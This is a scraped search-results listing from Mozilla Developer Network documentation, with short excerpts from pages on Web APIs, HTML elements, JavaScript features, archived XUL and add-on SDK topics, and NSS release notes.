...var fileentry = fs.root.getfile('log.txt', {create: true, exclusive:true}0; } catch (e) { onerrror(e); } the sample code was borrowed from html5rocks attribute attribute type description code unsigned short the most appropriate error code for the condition.
...And 12 more matches
HTMLAnchorElement - Web APIs
this interface corresponds to <a> element; not to be confused with <link>, which is represented by htmllinkelement) <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,mono...
... htmlanchorelement.download is a domstring indicating that the linked resource is intended to be downloaded rather than displayed in the browser.
... htmlanchorelement.hreflang is a domstring that reflects the hreflang html attribute, indicating the language of the linked resource.
...And 12 more matches
HTMLIFrameElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" align...
... htmliframeelement.allowfullscreen is a boolean indicating whether the inline frame is willing to be placed into full screen mode.
... htmliframeelement.allowpaymentrequest is a boolean indicating whether the payment request api may be invoked inside a cross-origin iframe.
...And 12 more matches
HTMLTrackElement - Web APIs
this element can be used as a child of either <audio> or <video> to specify a text track containing information such as closed captions or subtitles.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top...
... htmltrackelement.kind is a domstring that reflects the kind html attribute, indicating how the text track is meant to be used.
...And 12 more matches
KeyboardEvent: code values - Web APIs
the following tables show what code values are used for each native scancode or virtual keycode on major platforms.
... the reason is that some browsers choose to interpret physical keys differently, there are some differences in which keys map to which codes.
... code values code values on windows this table shows the windows scan codes representing keys and the keyboardevent.code values which correspond to those hardware keys.
...And 12 more matches
MouseEvent - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace"...
... mouseevent.button read only the button number that was pressed (if applicable) when the mouse event was fired.
... mouseevent.clientx read only the x coordinate of the mouse pointer in local (dom content) coordinates.
...And 12 more matches
RTCDtlsTransport - Web APIs
features of the dtls transport include the addition of security to the underlying transport; the rtcdtlstransport interface can be used to obtain information about the underlying transport and the security added to it by the dtls layer.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/rtcdtlstransport" target="_top"><rect x="1" y="1" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="81" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">rtcdtlstransport</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} propertiesicetransport read only the read-only rtcdtlstransport property icetran...
... description allocation of dtls transports rtcdtlstransport objects are created when an app calls either setlocaldescription() or setremotedescription().
...And 12 more matches
RTCRtpStreamStats.qpSum - Web APIs
syntax var qpsum = rtcrtpstreamstats.qpsum; value an unsigned 64-bit integer value which indicates the sum of the quantization parameter (qp) value for every frame sent or received so far on the track described by the rtcrtpstreamstats object.
... since the value of qp is typically larger to indicate higher compression factors, the larger this sum is, the more heavily compressed the stream generally has been.
...the quantization process and the amount of compression can be controlled using one or more parameters.
...And 12 more matches
SVGAngle - Web APIs
WebAPISVGAngle
the svgangle interface is used to represent a value that can be an <angle> or <number> value.
... an svgangle object can be designated as read only, which means that attempts to modify the object will result in an exception being thrown.
... an svgangle object can be associated with a particular element.
...And 12 more matches
SVGTransformList - Web APIs
an svgtransformlist object can be designated as read only, which means that attempts to modify the object will result in an exception being thrown.
... note: starting in gecko 9.0,the svgtransformlist dom interface is now indexable and can be accessed like arrays interface overview also implement none methods void clear() svgtransform initialize(in svgtransform newitem) svgtransform getitem(in unsigned long index) svgtransform insertitembefore(in svgtransform newitem, in unsigned long index) svgtransform replaceitem(in svgtransform newitem, in unsigned long index) svgtransform removeitem(in unsigned long index) svgtransform appenditem(in svgtransform newitem) svgtransform createsvgtransformfrommatrix(in svgmatrix) svgtransform consolidate() properties readonly unsigned long numberofitems readonly unsigned long length ...
... exceptions: a domexception with code no_modification_allowed_err is raised when the list corresponds to a read only attribute or when the object itself is read only.
...And 12 more matches
UIEvent.initUIEvent() - Web APIs
this method must be called to set the event before it is dispatched, using eventtarget.dispatchevent().
... do not use this method anymore as it is deprecated.
... syntax event.inituievent(type, canbubble, cancelable, view, detail) parameters type is a domstring defining the type of event.
...And 12 more matches
Window.devicePixelRatio - Web APIs
the devicepixelratio of window interface returns the ratio of the resolution in physical pixels to the resolution in css pixels for the current display device.
... this value could also be interpreted as the ratio of pixel sizes: the size of one css pixel to the size of one physical pixel.
... you can use window.matchmedia() to check if the value of devicepixelratio changes (which can happen, for example, if the user drags the window to a display with a different pixel density).
...And 12 more matches
WritableStream - Web APIs
properties writablestream.locked read only a boolean indicating whether the writablestream is locked to a writer.
... methods writablestream.abort() aborts the stream, signaling that the producer can no longer successfully write to the stream and it is to be immediately moved to an error state, with any queued writes discarded.
...while the stream is locked, no other writer can be acquired until this one is released.
...And 12 more matches
ARIA: table role - Accessibility
the cells are not focusable or selectable, though widgets within individual cells of the table can be interactive.
...rows can be children of the table or within a rowgroup.
... the table caption can be defined via aria-labelledby or aria-label.
...And 12 more matches
ARIA: listbox role - Accessibility
unlike <select>, a listbox can contain images.
... it is highly recommended to use the html select element, or a group of radio buttons if only one item can be selected, or a group of checkboxes if multiple items can be selected, because there is a lot of keyboard interactivity to manage focus for all the descendants, and native html elements provide this functionality for you for free.
... elements with the role listbox have an implicit aria-orientation value of vertical.
...And 12 more matches
Overview of events and handlers - Developer guides
this overview of events and event handling explains the code design pattern used to react to incidents occurring when a browser accesses a web page, and it summarizes the types of such incidents modern web browsers can handle.
... events and event handling provide a core technique in javascript for reacting to incidents occurring when a browser accesses a web page, including events from preparing a web page for display, from interacting with the content of the web page, relating to the device on which the browser is running, and from many other causes such as media stream playback or animation timing.
...event triggers include the completion of the loading of a resource on the network e.g., downloads an image that can now be drawn on the screen, the completion of parsing a resource by the browser e.g., processes the html content of a page, the interaction of a user with the contents of the page e.g., clicks a button.
...And 12 more matches
HTML attribute: multiple - HTML: Hypertext Markup Language
when multiple is set on the email input type, the user can inlclude zero (if not also required), one or more comma-separated email addresses.
... <input type="email" multiple name="emails" id="emails"> if and only if the multiple attribute is specified, the value can be a list of properly-formed comma-separated e-mail addresses.
... when multiple is set on the file input type, the user can select one or more files.
...And 12 more matches
<area> - HTML: Hypertext Markup Language
WebHTMLElementarea
content categories flow content, phrasing content.
... download this attribute, if present, indicates that the author intends the hyperlink to be used for downloading a resource.
... hreflang indicates the language of the linked resource.
...And 12 more matches
<label> - HTML: Hypertext Markup Language
WebHTMLElementlabel
the html <label> element represents a caption for an item in a user interface.
... associating a <label> with an <input> element offers some major advantages: the label text is not only visually associated with its corresponding text input; it is programmatically associated with it too.
... you can click the associated label to focus/activate the input, as well as the input itself.
...And 12 more matches
<strong>: The Strong Importance element - HTML: Hypertext Markup Language
WebHTMLElementstrong
the html strong importance element (<strong>) indicates that its contents have strong importance, seriousness, or urgency.
... browsers typically render the contents in bold type.
... content categories flow content, phrasing content, palpable content.
...And 12 more matches
HTTP
WebHTTP
hypertext transfer protocol (http) is an application-layer protocol for transmitting hypermedia documents, such as html.
... it was designed for communication between web browsers and web servers, but it can also be used for other purposes.
... http follows a classical client-server model, with a client opening a connection to make a request, then waiting until it receives a response.
...And 12 more matches
Character classes - JavaScript
types the following table is also duplicated on this cheatsheet.
...so to match a pattern across multiple lines, the character set [^] can be used — it will match any character including newlines.
... \r matches a carriage return.
...And 12 more matches
Default parameters - JavaScript
this is where default parameters can help.
... in the following example, if no value is provided for b when multiply is called, b's value would be undefined when evaluating a * b and multiply would return nan.
... to guard against this, something like the second line would be used, where b is set to 1 if multiply is called with only one argument: function multiply(a, b) { b = (typeof b !== 'undefined') ?
...And 12 more matches
Array.prototype.sort() - JavaScript
the time and space complexity of the sort cannot be guaranteed as it depends on the implementation.
...in a numeric sort, 9 comes before 80, but because numbers are converted to strings, "80" comes before "9" in the unicode order.
... if comparefunction is supplied, all non-undefined array elements are sorted according to the return value of the compare function (all undefined elements are sorted to the end of the array, with no call to comparefunction).
...And 12 more matches
Function - JavaScript
this can be seen with the code (function(){}).constructor === function, which returns true.
...calling the constructor directly can create functions dynamically but suffers from security and similar (but far less significant) performance issues to eval.
... this is deprecated as a property of function.
...And 12 more matches
Optional chaining (?.) - JavaScript
the optional chaining operator (?.) permits reading the value of a property located deep within a chain of connected objects without having to expressly validate that each reference in the chain is valid.
...chaining operator, except that instead of causing an error if a reference is nullish (null or undefined), the expression short-circuits with a return value of undefined.
... when used with function calls, it returns undefined if the given function does not exist.
...And 12 more matches
super - JavaScript
the super keyword is used to access and call functions on an object's parent.
... syntax super([arguments]); // calls the parent constructor.
...the super keyword can also be used to call functions on a parent object.
...And 12 more matches
const - JavaScript
the value of a constant can't be changed through reassignment, and it can't be redeclared.
...[, namen = valuen]]]; namen the constant's name, which can be any legal identifier.
...this can be any legal expression, including a function expression.
...And 12 more matches
Installing and uninstalling web apps - Progressive web apps (PWAs)
web application installation is a feature available in modern browsers that allows users to choose to easily and conveniently “install” a web application on their device so they can access it in the same way they would any other installed app.
... depending on the device and features of the operating system and browser, this can result in what is essentially a fully featured application (for example, using webapk on android) or as a shortcut added to their device’s screen.
... the option to install a web application is part of the progressive web app philosophy—giving web apps the same user experience advantages as native apps so they can be competitive.
...And 12 more matches
Subresource Integrity - Web security
note: for subresource-integrity verification of a resource served from an origin other than the document in which it’s embedded, browsers additionally check the resource using cross-origin resource sharing (cors), to ensure the origin serving the resource allows it to be shared with the requesting origin.
... how subresource integrity helps using content delivery networks (cdns) to host files such as scripts and stylesheets that are shared among multiple sites can improve site performance and conserve bandwidth.
... however, using cdns also comes with a risk, in that if an attacker gains control of a cdn, the attacker can inject arbitrary malicious content into files on the cdn (or replace the files completely) and thus can also potentially attack all sites that fetch files from that cdn.
...And 12 more matches
request - Archive of obsolete content
examples outlined in this document are no longer relevent in regards to the twitter api calls and need to be updated make simple network requests.
... globals constructors request(options) this constructor creates a request object that can be used to make network requests.
...can either be a string or an instance of the sdk's url.
...And 11 more matches
system - Archive of obsolete content
usage querying your environment using the system module you can access environment variables (such as path), find out which operating system your add-on is running on and get information about the host application (for example, firefox or fennec), such as its version.
... var system = require("sdk/system"); // path environment variable console.log(system.env.path); // operating system console.log("platform = " + system.platform); // processor architecture console.log("architecture = " + system.architecture); // compiler used to build host application console.log("compiler = " + system.compiler); // host application build identifier console.log("build = " + system.build); // host application uuid console.log("id = " + system.id); // host application name console.log("name = " + system.name); // host application version console.log("version = " + system.version); // host application vendor console.log("vendor = " + system.vendor); // host application profile directory console.log("profile directory = " + system.pathfor("profd")); quit the host application t...
...o quit the host application, use the exit() function.
...And 11 more matches
remote/child - Archive of obsolete content
enables an sdk module loaded into a child process to access web content in the child process and communicate with modules in the main process.
...it provides two main things: access to web content loaded into this child process port mechanisms to communicate with the main process interacting with web content to interact with web content, the sdk/remote/child module provides a frames property that's a list of all content frames loaded into this child process.
... communicating with the parent process to communicate with the parent process, the process, frames, and frame objects in sdk/remote/child have a port object that you can use to receive messages from, and send messages to, code in the parent.
...And 11 more matches
test/utils - Archive of obsolete content
to make them asynchronous, pass a third argument done, which is a function to call when you have finished: let { before, after } = require('sdk/test/utils'); let { search } = require('sdk/places/bookmarks'); exports.testcountbookmarks = function (assert, done) { search().on('end', function (results) { assert.equal(results, 0, 'should be no bookmarks'); done(); }); }; before(exports, function (name, assert, done) { removeallbookmarksasync(function () { don...
...may be asynchronous if beforefn accepts a third argument, which is a callback.
... parameters exports : object a test file's exports object beforefn : function the function to be called before each test.
...And 11 more matches
console - Archive of obsolete content
console.debug(...) deprecated, you should use console.log() instead.
... try { dothing(); } catch (e) { console.exception(e); } function userexception(message) { this.message = message; this.name = "userexception"; } function dothing() { throw new userexception("thing could not be done!"); } error: my-addon: an exception occurred.
...up to 10,000 simultaneous timers can run on a given page.
...And 11 more matches
Bookmarks - Archive of obsolete content
irefox 2 and earlier creating a new bookmark var win = mybrowser.contentwindow; // get the bookmarks service const bmsvc = components.classes["@mozilla.org/browser/bookmarks-service;1"] .getservice(components.interfaces.nsibookmarksservice); // create the bookmark bmsvc.createbookmarkincontainer(win.document.title, // bookmark name win.location.href.tostring(), // uri of the bookmark null, // shortcut win.document.title, // description win.document.characterset, // charset null, // postdata bookmarksservice.getbookmarkstoolbarfolder(), // bookmark folder ...
... initiating the bookmarks service as is the case with nearly all interfaces, before you can use the bookmarks service, you need to get access to it: var bmsvc = components.classes["@mozilla.org/browser/nav-bookmarks-service;1"] .getservice(components.interfaces.nsinavbookmarksservice); creating a bookmark folder creating a new bookmark folder is done using the nsinavbookmarksservice.createfolder() method.
... for example, to create a new folder in the bookmarks menu: var menufolder = bmsvc.bookmarksmenufolder; // bookmarks menu folder var newfolderid = bmsvc.createfolder(menufolder, "folder name here", bmsvc.default_index); this code locates the bookmarks menu's folder, then creates a new folder named "folder name here" in it.
...And 11 more matches
Getting Started with Firefox Extensions - Archive of obsolete content
extensions add new functionality to mozilla applications such as firefox and thunderbird.
... they can add anything from a toolbar button to a completely new feature.
... they allow the application to be customized to fit the personal needs of each user if they need additional features, while keeping the applications small to download.
...And 11 more matches
Helper Apps (and a bit of Save As) - Archive of obsolete content
nsimimeinfo lookup look in built-in list which the user cannot override (types we handle internally).
... mailcap/mime.types on linux.
... look in second built-in list, which the user can override.
...And 11 more matches
XPJS Components Proposal - Archive of obsolete content
xpconnect provides the mechanisms for communication between native and js xpcom components, but it does not provide all of the infrastructure to register and instantiate js components outside of the limitations of the browser window.
...just as with native component modules each of these .js files will be expected to have the functions: nsregisterself nsgetfactory nsunregisterself (optional) nscanunload (optional) each .js file might implement one or more components.
... we will have one native module - called the xpjsmanager - which holds this system together.
...And 11 more matches
Getting File Information - Archive of obsolete content
there are alternative xpcom apis you can use, your help in updating this pages to use the supported api is very much welcome!
...you can catch this exception with a try-catch block, but it is better to use nsifile.exists() to check first.
...this may be useful to truncate a file, however, setting the file size will also increase the size of a file if the value is larger than the current size of the file.
...And 11 more matches
Moving, Copying and Deleting Files - Archive of obsolete content
there are alternative xpcom apis you can use, your help in updating this pages to use the supported api is very much welcome!
... copying a file nsifile.copyto() is used to copy files or directories, and should be called on the source file to copy.
... this method takes two arguments, the first is the destination directory in which to copy the file to, and the second argument is the new name of the file, if you wish to rename it in its new location.
...And 11 more matches
MenuButtons - Archive of obsolete content
an arrow appears on the button next to the label or image indicating to the user that a menu is present.
... a button or toolbarbutton with a type attribute set to 'menu-button' creates a button that can be pressed normally.
... in either case, a menupopup element should be placed as a direct child of the button.
...And 11 more matches
SQLite Templates - Archive of obsolete content
this will cause the datasource to be treated as an sqlite database.
...in this case, you will often be setting the datasources attribute dynamically after determining the file path.
...this is useful for user data, and is suitable as you do not need to calculate where this directory is located.
...And 11 more matches
Adding Labels and Images - Archive of obsolete content
text elements you cannot embed text directly into a xul file without tags around it and expect it to be displayed.
... you can use two xul elements for this purpose.
...an example is shown below: example 1 : source view <label value="this is some text"/> the value attribute can be used to specify the text that you wish to have displayed.
...And 11 more matches
Cross Package Overlays - Archive of obsolete content
you can also go the other way and have the overlays specify which windows that they apply to.
...this is useful because the overlay can modify the user interface of another package without changing the other package.
...the mozilla mail application uses overlays to add content to the browser window.
...And 11 more matches
Features of a Window - Archive of obsolete content
creating another window you can create a second window for your application in the same manner as you would create the first one.
...as in html, you can use the window interface's open() method loads the specified resource into the browsing context (window, <iframe> or tab) with the specified name.
...you can use this reference to call functions of the other window.
...And 11 more matches
Groupboxes - Archive of obsolete content
however, there are several differences between groupboxes and regular boxes: the groupbox can be labeled using the caption element.
... the groupbox is displayed in a special way—usually with a beveled border and a caption, although you can change the appearance using css.
... you can create a caption for your groupbox by inserting a caption element as the first child.
...And 11 more matches
More Menu Features - Archive of obsolete content
« previousnext » in this section, we'll look at creating submenus and checked menus creating submenus you can create submenus inside other menus (nested menus) using the existing elements.
... remember that you can put any element inside a menupopup.
...however, you can create submenus by simply placing the menu element inside the menupopup element.
...And 11 more matches
Toolbars - Archive of obsolete content
usually, a row of buttons would appear in the toolbar, but any element can be placed in a toolbar.
...toolbars may be placed on any side of the window, either horizontally or vertically.
... of course you wouldn't normally put a textbox in a vertical toolbar.
...And 11 more matches
XUL accessibility tool - Archive of obsolete content
while not meant to be a comprehensive test suite (meaning that passing all included tests does not guarantee that an application is free of accessibility bugs or issues), many of the most common accessibility mistakes will be found and reported.
... availability the xul accessibility tool can currently be obtained from [http://www.xulplanet.com/aaron/files...bilitytool.xpi].
...the version currently on xulplanet is compatible with the following xul applications: firefox 1.5+ thunderbird 3.0a+ recent sunbird builds recent songbird builds.
...And 11 more matches
command - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] a command element can be used to invoke an operation that can come from multiple sources.
... for example, a clipboard paste operation can be invoked from the edit menu, a context menu and by pressing a keyboard shortcut.
...it will be called no matter how it is invoked by the user.
...And 11 more matches
label - Archive of obsolete content
ArchiveMozillaXULlabel
start the text will be cropped on its left side in left-to-right text locales, and the right side in right-to-left locales.
... end the text will be cropped on its right side in left-to-right text locales, and the right side in right-to-left locales.
...for example, for a menuitem in a menu you can add the following css rule when you want to use the value none: menupopup > menuitem, menupopup > menu { max-width: none; } disabled type: boolean indicates whether the element is disabled or not.
...And 11 more matches
XULRunner 1.9.1 Release Notes - Archive of obsolete content
xulrunner 1.9.1 is a stable release of the mozilla xulrunner application framework.
... it provides facilities for launching standalone xul applications and embedding apis which can be used to render web pages within native and java applications.
...current version the current version of xulrunner is 1.9.1.19, matching firefox 3.5.19 detailed release notes can be found here.
...And 11 more matches
XULRunner 1.9.2 Release Notes - Archive of obsolete content
xulrunner 1.9.2 is a stable release of the mozilla xulrunner application framework.
... it provides facilities for launching standalone xul applications and embedding apis which can be used to render web pages within native and java applications.
...current version the current version of xulrunner 1.9.2 is 3.6.26, matching firefox 3.6.26 detailed release notes can be found here.
...And 11 more matches
XULRunner 1.9 Release Notes - Archive of obsolete content
xulrunner 1.9 is a stable release of the mozilla xulrunner application framework.
...it provides facilities for launching standalone xul applications and embedding apis which can be used to render web pages within native and java applications.
... current version the current version of xulrunner is 1.9.0.17, matching firefox 3.0.17 detailed release notes can be found here.
...And 11 more matches
Common Firefox theme issues and solutions - Archive of obsolete content
the problem is commonly caused by a -moz-appearance:menulist style rule in chrome://global/skin/menulist.css.
...the cause of this issue is that linux firefox uses a different id for the firefox button from windows.
... toolbars and menus firefox application button application button doesn't change styling for private browsing mode when in private browsing mode there needs to be a visual difference to the firefox app button that is displayed when tabs are on top and the menu bar is disabled.
...And 11 more matches
Scratchpad - Archive of obsolete content
scratchpad is deprecated as of firefox 70 (bug 1565380), and will be removed as of firefox 72 (bug 1519103).
... as an alternative, starting in firefox 71, you can use the multi-line mode of the javascript console input.
...you can write, run, and examine the results of code that interacts with the web page.
...And 11 more matches
Requests For Enhancement - Archive of obsolete content
ArchiveWebXFormsRFE
if you have an idea that might improve mozilla's xforms implementation then you should choose one of the following rfe categories and put your request there.
... you can also contact the xforms team about your request.
... you can do so by posting a message on the xforms newsgroup or file a new bug in the 'xforms' component of the 'core' product.
...And 11 more matches
Animations and tweens - Game development
you can find the source code as it should look after completing this lesson at gamedev-phaser-content-kit/demos/lesson14.html.
... to make the game look more juicy and alive we can use animations and tweens.
... next, we will load the spritesheet — put the following line at the bottom of your preload() function: game.load.spritesheet('ball', 'img/wobble.png', 20, 20); instead of loading a single image of the ball we can load the whole spritesheet — a collection of different images.
...And 11 more matches
Initialize the framework - Game development
after completing this tutorial you can find the source code for this section at gamedev-phaser-content-kit/demos/lesson01.html.
... before we can start writing the game's functionality, we need to create a basic structure to render the game inside.
... this can be done using html — the phaser framework will generate the required <canvas> element.
...And 11 more matches
How CSS works - Learn web development
based on the selectors it finds, it works out which rules should be applied to which nodes in the dom, and attaches style to them as required (this intermediate step is called a render tree).
... the visual display of the page is shown on the screen (this stage is called painting).
... understanding the dom helps you design, debug and maintain your css because the dom is where your css and the document's content meet up.
...And 11 more matches
create fancy boxes - Learn web development
it's fun because it's all about turning a design idea into working code; it's challenging because of annoying constraints and crazy freedom in the use of css.
... before we start getting into the practical side of it, make sure you are familiar with the css box model.
... on the technical side, creating fancy boxes are all about mastering css border and background properties and how to apply them to a given box.
...And 11 more matches
Use JavaScript within a webpage - Learn web development
you can create amazing webpages without javascript, but javascript opens up a whole new level of possibilities.
...if you want to learn javascript itself, you can start with our javascript basics article.
...to call javascript code from within html, you need the <script> element.
...And 11 more matches
Web performance - Learn web development
to build websites and applications people want to use, which attract and retain users, you need to create a good user experience.
... the rest of our beginner's learning material tried to stick to web best practices such as performance and accessibility as much as possible, however, it is good to focus specifically on such topics too, and make sure you are familiar with them.
... learning pathway while knowing html, css, and javascript is needed for implementing many web performance improvement recommendations, knowing how to build applications is not a necessary pre-condition for understanding and measuring web performance.
...And 11 more matches
Debugging OpenGL
for various reasons, debugging opengl related code can be tricky.
... opengl debug mode when running a debug build, you can enable the opengl debug mode by defining the environment variable moz_gl_debug.
... if you start up firefox with this variable defined, the following behavior changes occur: each time you issue an opengl call, a check is performed to ensure that the gl context is current, using a thread-local static variable to keep track of this.
...And 11 more matches
Frame script loading and lifetime
gbrowser.selectedbrowser.messagemanager; mm.loadframescript('data:,dump("foo\\n")', true); loadframescript() takes two mandatory parameters: a url that points to the frame script you want to load a boolean flag, allowdelayedload note: if the message manager is a global frame message manager or a window message manager, loadframescript() may load the script multiple times, once in each applicable frame.
...l: // chrome.manifest content my-e10s-extension chrome/content/ // chrome script mm.loadframescript("chrome://my-e10s-extension/content/content.js", true); allowdelayedload if the message manager is a global frame message manager or a window message manager then: if allowdelayedload is true, the frame script will be loaded into any new frame, which has opened after the loadframescript() call.
... if allowdelayedload is false, the script will only be loaded into frames which are open when the call was made.
...And 11 more matches
mozbrowsercontextmenu
this event can be used to control what will appear in the menu.
... general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the browser iframe type read only domstring the type of event.
... cancelable read only boolean whether the event is cancellable or not.
...And 11 more matches
Http.jsm
httprequest supports the following parameters: name meaning headers an array of headers postdata this can be: a string: send it as is an array of parameters: encode as form values null/undefined: no post data.
... method get, post or put (this is automatically set if postdata exists).
... onload a function handle to call when the load is complete, it takes two parameters: the responsetext and the xhr object.
...And 11 more matches
What every Mozilla translator should know
l10n stands for localization = l + another 10 letters + n mailing lists and other resources there are several mailing lists to keep the track of what's going on, which are available as newsgroups, as well, both on news.mozilla.org and google groups: the main l10n list also available as mozilla.dev.l10n, .l10n in short.
... discussion about localization take part here just as well as l10n-focused announcements.
...n you have a problem use the above mailing lists the person in charge of the mozilla l10n is axel hecht (l10n at mozilla.com), pike on irc another interesting way of getting help is the irc channel #l10n at irc.mozilla.org useful tools the l10n dashboard pontoon narro translate toolkit koala 0.1 mozillatranslator mercurial the hg is organized into several repositories, sometimes called branches.
...And 11 more matches
Memory Profiler
this article details how to use an old profiler specifically designed for firefox os devices.
...it can be obtained by installing the memory profiler add-on.
...to take a profile you can use the buttons in the profiler panel.
...And 11 more matches
Scroll-linked effects
scrolling effects explained often scrolling effects are implemented by listening for the scroll event and then updating elements on the page in some way (usually the css position or transform property.) you can find a sampling of such effects at css scroll api: use cases.
...this can cause the effect to be laggy, janky, or jittery — in short, something we want to avoid.
...one way to implement this without the scroll event listener is to use the css property designed for this purpose: <body style="height: 5000px"> <div id="toolbar" style="position: sticky; top: 0px; margin-top: 100px; width: 100px; height: 20px; background-color: green"></div> </body> this version works well with asynchronous scrolling because position of the "toolbar" div is updated by the browser as the user scrolls.
...And 11 more matches
NSS 3.54 release notes
certificate authority changes the following ca certificates were added: bug 1645186 - certsign root ca g2 sha-256 fingerprint: 657cfe2fa73faa38462571f332a2363a46fce7020951710702cdfbb6eeda3305 bug 1645174 - e-szigno root ca 2017 sha-256 fingerprint: beb00b30839b9bc32c32e4447905950641f26421b15ed089198b518ae2ea1b99 bug 1641716 - microsoft ecc root certific...
...ate authority 2017 sha-256 fingerprint: 358df39d764af9e1b766e9c972df352ee15cfac227af6ad1d70e8e4a6edcba02 bug 1641716 - microsoft rsa root certificate authority 2017 sha-256 fingerprint: c741f70f4b2a8d88bf2e71c14122ef53ef10eba0cfa5e64cfa20f418853073e0 the following ca certificates were removed: bug 1645199 - addtrust class 1 ca root sha-256 fingerprint: 8c7209279ac04e275e16d07fd3b775e80154b5968046e31f52dd25766324e9a7 bug 1645199 - addtrust external ca root sha-256 fingerprint: 687fa451382278fff0c8b11f8d43d576671c6eb2bceab413fb83d965d06d2ff2 bug 1641718 - luxtrust global root 2 sha-256 fingerprint: 54455f7129c20b1447c418f997168f24c58fc5023bf5da5be2eb6e1dd8902ed5 bu...
...g 1639987 - staat der nederlanden root ca - g2 sha-256 fingerprint: 668c83947da63b724bece1743c31a0e6aed0db8ec5b31be377bb784f91b6716f bug 1618402 - symantec class 2 public primary certification authority - g4 sha-256 fingerprint: fe863d0822fe7a2353fa484d5924e875656d3dc9fb58771f6f616f9d571bc592 bug 1618402 - symantec class 1 public primary certification authority - g4 sha-256 fingerprint: 363f3c849eab03b0a2a0f636d7b86d04d3ac7fcfe26a0a9121ab9795f6e176df bug 1618402 - verisign class 3 public primary certification authority - g3 sha-256 fingerprint: eb04cf5eb1f39afa762f2bb120f296cba520c1b97db1589565b81cb9a17b7244 a number of certificates had their email trust bit disabled.
...And 11 more matches
JS_GetGCParameter
in a js_threadsafe build, the caller must be in a request on this jscontext.
... jsgc_unused_chunks, jsgc_total_chunks, jsgc_slice_time_budget, jsgc_mark_stack_limit, jsgc_high_frequency_time_limit, jsgc_high_frequency_low_limit, jsgc_high_frequency_high_limit, jsgc_high_frequency_heap_growth_max, jsgc_high_frequency_heap_growth_min, jsgc_low_frequency_heap_growth, jsgc_dynamic_heap_growth, jsgc_dynamic_mark_slice, jsgc_allocation_threshold, jsgc_min_empty_chunk_count, jsgc_max_empty_chunk_count, jsgc_compaction_enabled, jsgc_allocation_threshold_factor, jsgc_allocation_threshold_factor_avoid_interrupt, jsgc_nursery_free_threshold_for_idle_collection, jsgc_pretenure_threshold, jsgc_pretenure_group_threshold, jsgc_nursery_free_threshold_for_idle_collection_percent, jsgc_min_nurser...
... jsgc_bytes / "gcbytes" amount of bytes allocated by the gc.
...And 11 more matches
JS_GetParent
objects created by standard library functions, such as array.prototype.concat, have the global object as their parent.
... the parent of a function created by evaluating a function declaration or function expression in a script depends on the lexical scope of the function.
...it may be a call, with, or block object representing the function's dynamic scope, or it may be the global object.
...And 11 more matches
JS_PropertyStub
default implementations of the required callbacks in jsclass.
...eded); // obsolete since jsapi 37 bool js_enumeratestub(jscontext *cx, js::handleobject obj); // obsolete since jsapi 37 bool js_convertstub(jscontext *cx, js::handleobject obj, jstype type, js::mutablehandlevalue vp); // obsolete since jsapi 37 void js_finalizestub(jscontext *cx, jsobject *obj); // obsolete since jsapi 14 description the stub functions are not designed to be called directly by a jsapi application.
... rather, they are convenient stand-ins anywhere the jsapi requires callbacks of certain types.
...And 11 more matches
Gecko events
is supported: yes event_dom_significant_change an object's properties or content have changed significantly so that the type of object has really changed, and therefore the accessible should be destroyed or recreated.
... is supported: yes event_asynch_show a hidden object is shown -- this is a layout occurance and is thus asynchronous is supported: yes event_asynch_hide an object is hidden -- this is a layout occurance and is thus asynchronous is supported: yes event_asynch_significant_change an object had a significant layout change which could affect the type of accessible object -- this is a layout occurance and is thus asynchronous is supported: yes event_active_decendent_changed the active descendant of a component has changed.
... is supported: yes states: state_focused, state_busy, xxx: event_location_change an object has changed location, shape, or size.
...And 11 more matches
nsACString_internal
